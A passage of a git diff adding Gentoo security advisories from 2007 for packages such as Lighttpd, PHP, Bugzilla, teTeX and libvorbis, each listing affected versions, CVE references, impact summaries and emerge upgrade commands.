+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-15.xml b/xml/htdocs/security/en/glsa/glsa-200709-15.xml
new file mode 100644
index 00000000..313eaa5e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-15.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-15">
+  <title>BEA JRockit: Multiple vulnerabilities</title>
+  <synopsis>
+    BEA JRockit contains several vulnerabilities, some of which may allow the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">jrockit-jdk-bin</product>
+  <announced>September 23, 2007</announced>
+  <revised>September 23, 2007: 01</revised>
+  <bug>190686</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/jrockit-jdk-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.11_p1</unaffected>
+      <vulnerable range="lt">1.5.0.11_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    BEA JRockit provides tools, utilities, and a complete runtime
+    environment for developing and running applications using the Java
+    programming language.
+    </p>
+  </background>
+  <description>
+    <p>
+    An integer overflow vulnerability exists in the embedded ICC profile
+    image parser (CVE-2007-2788), an unspecified vulnerability exists in
+    the font parsing implementation (CVE-2007-4381), and an error exists
+    when processing XSLT stylesheets contained in XSLT Transforms in XML
+    signatures (CVE-2007-3716), among other vulnerabilities.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could trigger the integer overflow to execute
+    arbitrary code or crash the JVM through a specially crafted file. Also,
+    an attacker could perform unauthorized actions via an applet that
+    grants certain privileges to itself because of the font parsing
+    vulnerability. The error when processing XSLT stylesheets can be
+    exploited to execute arbitrary code. Other vulnerabilities could lead
+    to establishing restricted network connections to certain services,
+    Cross Site Scripting and Denial of Service attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time for all these
+    vulnerabilities.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BEA JRockit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/jrockit-jdk-bin-1.5.0.11_p1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2788">CVE-2007-2788</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2789">CVE-2007-2789</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3004">CVE-2007-3004</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3005">CVE-2007-3005</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3503">CVE-2007-3503</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3698">CVE-2007-3698</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3716">CVE-2007-3716</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3922">CVE-2007-3922</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4381">CVE-2007-4381</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 15 Sep 2007 21:57:11 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 17 Sep 2007 12:51:05 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-16.xml b/xml/htdocs/security/en/glsa/glsa-200709-16.xml
new file mode 100644
index 00000000..39a99ac5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-16.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-16">
+  <title>Lighttpd: Buffer overflow</title>
+  <synopsis>
+    Lighttpd is vulnerable to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">lighttpd</product>
+  <announced>September 27, 2007</announced>
+  <revised>September 27, 2007: 01</revised>
+  <bug>191912</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/lighttpd" auto="yes" arch="*">
+      <unaffected range="ge">1.4.18</unaffected>
+      <vulnerable range="lt">1.4.18</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Lighttpd is a lightweight HTTP web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mattias Bengtsson and Philip Olausson have discovered a buffer overflow
+    vulnerability in the function fcgi_env_add() in the file mod_fastcgi.c
+    when processing overly long HTTP headers.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a specially crafted request to the
+    vulnerable Lighttpd server, resulting in the remote execution of
+    arbitrary code with privileges of the user running the web server. Note
+    that mod_fastcgi is disabled in Gentoo's default configuration.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Edit the file /etc/lighttpd/lighttpd.conf and comment the following
+    line: "include mod_fastcgi.conf"
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Lighttpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/lighttpd-1.4.18&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4727">CVE-2007-4727</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 20 Sep 2007 21:10:23 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 20 Sep 2007 21:10:32 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 22 Sep 2007 16:06:46 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-17.xml b/xml/htdocs/security/en/glsa/glsa-200709-17.xml
new file mode 100644
index 00000000..c83b79b5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-17.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-17">
+  <title>teTeX: Multiple buffer overflows</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in teTeX, allowing for
+    user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">tetex</product>
+  <announced>September 27, 2007</announced>
+  <revised>September 27, 2007: 01</revised>
+  <bug>170861</bug>
+  <bug>182055</bug>
+  <bug>188172</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/tetex" auto="yes" arch="*">
+      <unaffected range="ge">3.0_p1-r4</unaffected>
+      <vulnerable range="lt">3.0_p1-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    teTeX is a complete TeX distribution for editing documents.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mark Richters discovered a buffer overflow in the open_sty() function
+    in file mkind.c. Other vulnerabilities have also been discovered in the
+    same file but might not be exploitable (CVE-2007-0650). Tetex also
+    includes vulnerable code from GD library (GLSA 200708-05), and from
+    Xpdf (CVE-2007-3387).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process a specially crafted
+    PNG, GIF or PDF file, or to execute "makeindex" on an overly long
+    filename. In both cases, this could lead to the remote execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All teTeX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/tetex-3.0_p1-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0650">CVE-2007-0650</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3387">CVE-2007-3387</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200708-05.xml">GLSA-200708-05</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Sep 2007 15:34:16 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 22 Sep 2007 14:17:49 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 Sep 2007 21:28:55 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-18.xml b/xml/htdocs/security/en/glsa/glsa-200709-18.xml
new file mode 100644
index 00000000..47cae56d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-18.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-18">
+  <title>Bugzilla: Multiple vulnerabilities</title>
+  <synopsis>
+    Bugzilla contains several vulnerabilities, some of them possibly leading to
+    the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">bugzilla</product>
+  <announced>September 30, 2007</announced>
+  <revised>May 28, 2009: 03</revised>
+  <bug>190112</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/bugzilla" auto="yes" arch="*">
+      <unaffected range="rge">2.20.5</unaffected>
+      <unaffected range="rge">2.22.3</unaffected>
+      <unaffected range="ge">3.0.1</unaffected>
+      <unaffected range="rge">2.22.5</unaffected>
+      <unaffected range="rge">2.20.6</unaffected>
+      <vulnerable range="lt">3.0.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Bugzilla is a web application designed to help with managing software
+    development.
+    </p>
+  </background>
+  <description>
+    <p>
+    Masahiro Yamada found that from the 2.17.1 version, Bugzilla does not
+    properly sanitize the content of the "buildid" parameter when filing
+    bugs (CVE-2007-4543). The next two vulnerabilities only affect Bugzilla
+    2.23.3 or later, hence the stable Gentoo Portage tree does not contain
+    these two vulnerabilities: Loic Minier reported that the
+    "Email::Send::Sendmail()" function does not properly sanitise "from"
+    email information before sending it to the "-f" parameter of
+    /usr/sbin/sendmail (CVE-2007-4538), and Frederic Buclin discovered that
+    the XML-RPC interface does not correctly check permissions in the
+    time-tracking fields (CVE-2007-4539).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could trigger the "buildid" vulnerability by sending
+    a specially crafted form to Bugzilla, leading to a persistent XSS, thus
+    allowing for theft of credentials. With Bugzilla 2.23.3 or later, an
+    attacker could also execute arbitrary code with the permissions of the
+    web server by injecting a specially crafted "from" email address and
+    gain access to normally restricted time-tracking information through
+    the XML-RPC service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Bugzilla users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose www-apps/bugzilla</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4538">CVE-2007-4538</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4539">CVE-2007-4539</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4543">CVE-2007-4543</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 12 Sep 2007 09:19:32 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 13 Sep 2007 16:25:04 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 14 Sep 2007 08:36:10 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-01.xml b/xml/htdocs/security/en/glsa/glsa-200710-01.xml
new file mode 100644
index 00000000..6c346395
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-01.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-01">
+  <title>RPCSEC_GSS library: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in librpcsecgss.
+  </synopsis>
+  <product type="ebuild">librcpsecgss</product>
+  <announced>October 04, 2007</announced>
+  <revised>October 04, 2007: 01</revised>
+  <bug>191479</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/librpcsecgss" auto="yes" arch="*">
+      <unaffected range="ge">0.16</unaffected>
+      <vulnerable range="lt">0.16</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    librpcsecgss is an implementation of RPCSEC_GSS for secure RPC
+    communications.
+    </p>
+  </background>
+  <description>
+    <p>
+    A stack based buffer overflow has been discovered in the
+    svcauth_gss_validate() function in file lib/rpc/svc_auth_gss.c when
+    processing an overly long string in a RPC message.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a specially crafted RPC request to an
+    application relying on this library, e.g NFSv4 or Kerberos
+    (GLSA-200709-01), resulting in the execution of arbitrary code with the
+    privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All librpcsecgss users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/librpcsecgss-0.16&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3999">CVE-2007-3999</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200709-01.xml">GLSA-200709-01</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 09 Sep 2007 19:27:24 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 09 Sep 2007 19:29:01 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 29 Sep 2007 15:36:52 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-02.xml b/xml/htdocs/security/en/glsa/glsa-200710-02.xml
new file mode 100644
index 00000000..89df8630
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-02.xml
@@ -0,0 +1,154 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-02">
+  <title>PHP: Multiple vulnerabilities</title>
+  <synopsis>
+    PHP contains several vulnerabilities including buffer and integer overflows
+    which could lead to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">php</product>
+  <announced>October 07, 2007</announced>
+  <revised>October 07, 2007: 01</revised>
+  <bug>179158</bug>
+  <bug>180556</bug>
+  <bug>191034</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/php" auto="yes" arch="*">
+      <unaffected range="ge">5.2.4_p20070914-r2</unaffected>
+      <vulnerable range="lt">5.2.4_p20070914-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a widely-used general-purpose scripting language that is
+    especially suited for Web development and can be embedded into HTML.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were found in PHP. Mattias Bengtsson and Philip
+    Olausson reported integer overflows in the gdImageCreate() and
+    gdImageCreateTrueColor() functions of the GD library which can cause
+    heap-based buffer overflows (CVE-2007-3996). Gerhard Wagner discovered
+    an integer overflow in the chunk_split() function that can lead to a
+    heap-based buffer overflow (CVE-2007-2872). Its incomplete fix caused
+    incorrect buffer size calculation due to precision loss, also resulting
+    in a possible heap-based buffer overflow (CVE-2007-4661 and
+    CVE-2007-4660). A buffer overflow in the sqlite_decode_binary() of the
+    SQLite extension found by Stefan Esser that was addressed in PHP 5.2.1
+    was not fixed correctly (CVE-2007-1887).
+    </p>
+    <p>
+    Stefan Esser discovered an error in the zend_alter_ini_entry() function
+    handling a memory_limit violation (CVE-2007-4659). Stefan Esser also
+    discovered a flaw when handling interruptions with userspace error
+    handlers that can be exploited to read arbitrary heap memory
+    (CVE-2007-1883). Disclosure of sensitive memory can also be triggered
+    due to insufficient boundary checks in the strspn() and strcspn()
+    functions, an issue discovered by Mattias Bengtsson and Philip Olausson
+    (CVE-2007-4657)
+    </p>
+    <p>
+    Stefan Esser reported incorrect validation in the FILTER_VALIDATE_EMAIL
+    filter of the Filter extension allowing arbitrary email header
+    injection (CVE-2007-1900). NOTE: This CVE was referenced, but not fixed
+    in GLSA 200705-19.
+    </p>
+    <p>
+    Stanislav Malyshev found an error with unknown impact in the
+    money_format() function when processing "%i" and "%n" tokens
+    (CVE-2007-4658). zatanzlatan reported a buffer overflow in the
+    php_openssl_make_REQ() function with unknown impact when providing a
+    manipulated SSL configuration file (CVE-2007-4662). Possible memory
+    corruption when trying to read EXIF data in exif_read_data() and
+    exif_thumbnail() occurred with unknown impact.
+    </p>
+    <p>
+    Several vulnerabilities that allow bypassing of open_basedir and other
+    restrictions were reported, including the glob() function
+    (CVE-2007-4663), the session_save_path(), ini_set(), and error_log()
+    functions which can allow local command execution (CVE-2007-3378),
+    involving the readfile() function (CVE-2007-3007), via the Session
+    extension (CVE-2007-4652), via the MySQL extension (CVE-2007-3997) and
+    in the dl() function which allows loading extensions outside of the
+    specified directory (CVE-2007-4825).
+    </p>
+    <p>
+    Multiple Denial of Service vulnerabilities were discovered, including a
+    long "library" parameter in the dl() function (CVE-2007-4887), in
+    several iconv and xmlrpc functions (CVE-2007-4840 and CVE-2007-4783),
+    in the setlocale() function (CVE-2007-4784), in the glob() and
+    fnmatch() function (CVE-2007-4782 and CVE-2007-3806), a floating point
+    exception in the wordwrap() function (CVE-2007-3998), a stack
+    exhaustion via deeply nested arrays (CVE-2007-4670), an infinite loop
+    caused by a specially crafted PNG image in the png_read_info() function
+    of libpng (CVE-2007-2756) and several issues related to array
+    conversion.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Remote attackers might be able to exploit these issues in PHP
+    applications making use of the affected functions, potentially
+    resulting in the execution of arbitrary code, Denial of Service,
+    execution of scripted contents in the context of the affected site,
+    security bypass or information leak.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-5.2.4_p20070914-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1883">CVE-2007-1883</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1887">CVE-2007-1887</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1900">CVE-2007-1900</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2756">CVE-2007-2756</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2872">CVE-2007-2872</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3007">CVE-2007-3007</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3378">CVE-2007-3378</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3806">CVE-2007-3806</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3996">CVE-2007-3996</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3997">CVE-2007-3997</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3998">CVE-2007-3998</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4652">CVE-2007-4652</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4657">CVE-2007-4657</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4658">CVE-2007-4658</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4659">CVE-2007-4659</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4660">CVE-2007-4660</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4661">CVE-2007-4661</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4662">CVE-2007-4662</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4663">CVE-2007-4663</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4670">CVE-2007-4670</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4727">CVE-2007-4727</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4782">CVE-2007-4782</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4783">CVE-2007-4783</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4784">CVE-2007-4784</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4825">CVE-2007-4825</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4840">CVE-2007-4840</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4887">CVE-2007-4887</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-19.xml">GLSA 200705-19</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 19 Aug 2007 18:58:47 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Aug 2007 18:58:59 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 27 Sep 2007 00:18:38 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-03.xml b/xml/htdocs/security/en/glsa/glsa-200710-03.xml
new file mode 100644
index 00000000..f0365179
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-03.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-03">
+  <title>libvorbis: Multiple vulnerabilities</title>
+  <synopsis>
+    A buffer overflow vulnerability and several memory corruptions have been
+    discovered in libvorbis.
+  </synopsis>
+  <product type="ebuild">libvorbis</product>
+  <announced>October 07, 2007</announced>
+  <revised>October 07, 2007: 01</revised>
+  <bug>186716</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libvorbis" auto="yes" arch="*">
+      <unaffected range="ge">1.2.0</unaffected>
+      <vulnerable range="lt">1.2.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libvorbis is the reference implementation of the Xiph.org Ogg Vorbis
+    audio file format. It is used by many applications for playback of Ogg
+    Vorbis files.
+    </p>
+  </background>
+  <description>
+    <p>
+    David Thiel of iSEC Partners discovered a heap-based buffer overflow in
+    the _01inverse() function in res0.c and a boundary checking error in
+    the vorbis_info_clear() function in info.c (CVE-2007-3106 and
+    CVE-2007-4029). libvorbis is also prone to several Denial of Service
+    vulnerabilities in form of infinite loops and invalid memory access
+    with unknown impact (CVE-2007-4065 and CVE-2007-4066).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by enticing a
+    user to open a specially crafted Ogg Vorbis file or network stream with
+    an application using libvorbis. This might lead to the execution of
+    arbitrary code with privileges of the user playing the file or a Denial
+    of Service by a crash or CPU consumption.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libvorbis users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libvorbis-1.2.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3106">CVE-2007-3106</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4029">CVE-2007-4029</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4065">CVE-2007-4065</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4066">CVE-2007-4066</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Sep 2007 23:57:53 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 08 Sep 2007 16:21:39 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 02 Oct 2007 15:39:27 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-04.xml b/xml/htdocs/security/en/glsa/glsa-200710-04.xml
new file mode 100644
index 00000000..40cfe310
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-04.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-04">
+  <title>libsndfile: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in libsndfile.
+  </synopsis>
+  <product type="ebuild">libsndfile</product>
+  <announced>October 07, 2007</announced>
+  <revised>October 07, 2007: 01</revised>
+  <bug>192834</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libsndfile" auto="yes" arch="*">
+      <unaffected range="ge">1.0.17-r1</unaffected>
+      <vulnerable range="lt">1.0.17-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libsndfile is a library for reading and writing various formats of
+    audio files including WAV and FLAC.
+    </p>
+  </background>
+  <description>
+    <p>
+    Robert Buchholz of the Gentoo Security team discovered that the
+    flac_buffer_copy() function does not correctly handle FLAC streams with
+    variable block sizes which leads to a heap-based buffer overflow
+    (CVE-2007-4974).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability by enticing a user
+    to open a specially crafted FLAC file or network stream with an
+    application using libsndfile. This might lead to the execution of
+    arbitrary code with privileges of the user playing the file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libsndfile users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libsndfile-1.0.17-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4974">CVE-2007-4974</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 06 Oct 2007 23:14:31 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 Oct 2007 18:26:17 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 07 Oct 2007 19:16:11 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-05.xml b/xml/htdocs/security/en/glsa/glsa-200710-05.xml
new file mode 100644
index 00000000..0bc2898f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-05.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-05">
+  <title>QGit: Insecure temporary file creation</title>
+  <synopsis>
+    A vulnerability has been discovered in QGit allowing local users to
